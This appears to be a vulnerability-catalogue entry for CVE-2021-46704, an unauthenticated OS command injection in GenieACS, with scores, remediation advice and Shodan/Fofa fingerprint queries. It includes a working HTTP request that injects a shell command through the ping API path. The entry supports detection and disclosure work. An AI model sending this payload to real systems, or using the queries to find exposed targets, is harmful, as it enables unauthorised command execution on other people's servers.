| Title | GenieACS => 1.2.8 - OS Command Injection |
|---|---|
| Author | DhiyaneshDK |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system. |
| Remediation | Upgrade to a patched version of GenieACS or apply the necessary security patches to mitigate the vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.86931 |
| CVE ID | CVE-2021-46704 |
| CWE ID | CWE-78 |
| Shodan Query | http.favicon.hash:-2098066288http.html:"genieacs" |
| Fofa Query | body="genieacs"icon_hash=-2098066288 |
| Tags | cve2021 cve genieacs rce vuln |
In GenieACS 1.2.x before 1.2.8, the UI interface API is vulnerable to unauthenticated OS command injection via the ping host argument (lib/ui/api.ts and lib/ping.ts). The vulnerability arises from insufficient input validation combined with a missing authorization check.
GET /api/ping/;%60id%60 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/603.1.10 (KHTML, like Gecko) Version/10.1 Safari/603.1.10
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-46704.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-46704.pcap
N/AN/A